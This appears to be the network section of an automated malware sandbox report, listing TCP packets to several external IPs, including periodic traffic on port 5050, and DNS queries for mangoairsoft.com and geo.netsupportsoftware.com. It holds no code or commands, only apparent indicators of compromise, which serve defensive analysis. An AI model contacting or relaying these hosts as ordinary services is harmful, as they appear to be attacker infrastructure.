Aug 2, 2023 10:46:24.798952103 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.798959970 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.798976898 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799000025 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799010038 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799026966 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799066067 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799112082 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799134016 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799134016 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799138069 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799158096 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799181938 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799225092 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799247026 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799274921 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799334049 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799344063 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799369097 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799401045 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799405098 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799417019 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799479961 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799495935 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799530029 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799571991 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799581051 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799611092 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799629927 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799642086 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799649954 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799670935 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799693108 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799700975 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799760103 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799786091 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799792051 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799803019 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799825907 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799870968 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799885988 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799911976 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799952984 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.799962044 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799990892 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.799993038 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.800024986 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.800035954 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.800044060 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.800101995 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.800126076 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.800143957 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.800154924 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.800208092 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.800237894 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.800291061 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.801706076 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.846575975 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.846621037 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.459357977 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.459405899 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.459588051 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.487153053 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.487215042 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.608824968 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.608994961 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.611202002 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.611216068 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.611680031 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.628084898 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.670840979 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.772233009 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.772272110 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.772351027 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.772414923 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.772437096 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.772481918 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.772490025 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.772501945 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.772511959 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.772536039 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.772548914 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.772592068 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.825468063 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.826855898 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.826900959 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.827020884 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.827043056 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.827080011 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.827102900 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.827147007 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.827188015 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.827220917 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.827233076 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.827276945 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.827302933 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.827416897 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.827444077 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.827507973 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.827517986 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.827560902 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.827586889 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.882304907 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.882347107 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.882560015 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.882580996 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.882647991 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.882652998 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.882729053 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.882778883 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.882831097 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.882941008 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.883014917 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.883044958 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.883057117 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.883105993 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.883209944 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.883249998 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.883300066 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.883312941 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.883337021 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.883366108 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.883508921 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.883541107 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.883616924 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.883631945 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.883678913 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.883709908 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.921315908 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.921371937 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.921448946 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.921530962 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.921560049 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.921595097 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.921642065 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.942662954 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.942717075 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.942887068 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.942918062 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.942939997 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.942943096 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.942992926 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943026066 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943034887 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943084955 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943133116 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943169117 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943206072 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943214893 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943243980 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943295956 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943337917 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943392992 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943402052 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943454027 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943494081 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943506956 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943528891 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943538904 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943566084 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943685055 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943746090 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943753958 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943800926 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943804026 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943844080 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943885088 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943892956 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.943916082 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.943958044 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.944006920 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.944024086 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.944031000 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.944087982 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.944125891 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.944175959 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.944210052 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.944217920 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.944245100 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.975646973 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.975687981 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.975771904 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.975786924 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.975802898 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.975824118 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.975879908 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.976078987 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.976133108 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.976150036 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.976166010 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.976190090 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.976207018 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.976315975 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.976362944 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.976385117 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.976396084 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.976423025 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.976444960 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.994961023 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.994992018 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995090008 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995115042 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995172977 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995198011 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995204926 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995218992 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995250940 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995279074 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995286942 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995330095 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995362043 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995506048 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995532036 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995589018 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995595932 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995631933 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995668888 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995759964 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995784044 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995855093 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.995863914 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.995927095 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.996078014 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.996104956 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.996201038 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.996207952 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.996253967 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.996412039 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.996471882 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.996510983 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.996517897 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.996563911 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.996588945 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.996773958 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.996798992 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.996896029 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.996905088 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.996959925 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.997353077 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.997381926 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.997472048 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.997478008 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.997538090 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.997764111 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.997788906 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.997876883 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.997885942 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.997936964 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.998018980 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.998043060 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.998130083 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.998136997 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.998188972 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.998315096 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.998390913 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.998408079 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.998418093 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.998433113 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:25.998475075 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.998509884 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:25.999213934 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:26.063221931 CEST	49702	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:26.063256979 CEST	443	49702	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:26.757967949 CEST	49705	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:26.758049011 CEST	443	49705	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:26.758163929 CEST	49705	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:26.775604010 CEST	49705	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:26.775665045 CEST	443	49705	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:26.904844046 CEST	443	49705	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:26.905009031 CEST	49705	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:26.908341885 CEST	49705	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:26.908355951 CEST	443	49705	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:26.908860922 CEST	443	49705	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:26.922827959 CEST	49705	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:26.966814995 CEST	443	49705	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:27.021677971 CEST	443	49705	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:27.021895885 CEST	443	49705	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:27.022129059 CEST	49705	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:27.110832930 CEST	49705	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:27.110866070 CEST	443	49705	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:38.183866978 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:46:38.355917931 CEST	5050	49706	94.158.247.23	192.168.2.8
Aug 2, 2023 10:46:38.356081963 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:46:38.961824894 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:46:39.134727001 CEST	5050	49706	94.158.247.23	192.168.2.8
Aug 2, 2023 10:46:39.185415983 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:46:39.415771961 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:46:39.590596914 CEST	5050	49706	94.158.247.23	192.168.2.8
Aug 2, 2023 10:46:39.642179012 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:46:39.809242010 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:46:40.038243055 CEST	5050	49706	94.158.247.23	192.168.2.8
Aug 2, 2023 10:46:40.420963049 CEST	49707	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:40.462882996 CEST	80	49707	62.172.138.8	192.168.2.8
Aug 2, 2023 10:46:40.463027954 CEST	49707	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:40.465719938 CEST	49707	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:40.507517099 CEST	80	49707	62.172.138.8	192.168.2.8
Aug 2, 2023 10:46:40.507668018 CEST	49707	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:40.540565014 CEST	49707	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:40.582295895 CEST	80	49707	62.172.138.8	192.168.2.8
Aug 2, 2023 10:46:41.509746075 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:46:41.627182007 CEST	49711	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:41.668252945 CEST	80	49711	62.172.138.8	192.168.2.8
Aug 2, 2023 10:46:41.668395996 CEST	49711	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:41.740406990 CEST	5050	49706	94.158.247.23	192.168.2.8
Aug 2, 2023 10:46:41.818042040 CEST	49711	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:41.859118938 CEST	80	49711	62.172.138.8	192.168.2.8
Aug 2, 2023 10:46:41.859215975 CEST	49711	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:41.859512091 CEST	49711	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:41.861913919 CEST	49712	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:41.900233030 CEST	80	49711	62.172.138.8	192.168.2.8
Aug 2, 2023 10:46:41.903764009 CEST	80	49712	62.172.138.8	192.168.2.8
Aug 2, 2023 10:46:41.903882027 CEST	49712	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:41.918560028 CEST	49712	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:41.960391045 CEST	80	49712	62.172.138.8	192.168.2.8
Aug 2, 2023 10:46:41.960483074 CEST	49712	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:41.960762978 CEST	49712	80	192.168.2.8	62.172.138.8
Aug 2, 2023 10:46:42.002285957 CEST	80	49712	62.172.138.8	192.168.2.8
Aug 2, 2023 10:47:41.610924006 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:47:41.839128017 CEST	5050	49706	94.158.247.23	192.168.2.8
Aug 2, 2023 10:48:42.172974110 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:48:42.396826029 CEST	5050	49706	94.158.247.23	192.168.2.8
Aug 2, 2023 10:49:42.333830118 CEST	49706	5050	192.168.2.8	94.158.247.23
Aug 2, 2023 10:49:42.568656921 CEST	5050	49706	94.158.247.23	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 2, 2023 10:46:22.479985952 CEST	54553	53	192.168.2.8	8.8.8.8
Aug 2, 2023 10:46:22.508564949 CEST	53	54553	8.8.8.8	192.168.2.8
Aug 2, 2023 10:46:40.269172907 CEST	62664	53	192.168.2.8	8.8.8.8
Aug 2, 2023 10:46:40.295149088 CEST	53	62664	8.8.8.8	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 2, 2023 10:46:22.479985952 CEST	192.168.2.8	8.8.8.8	0x73c3	Standard query (0)	mangoairsoft.com	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:46:40.269172907 CEST	192.168.2.8	8.8.8.8	0x2a43	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

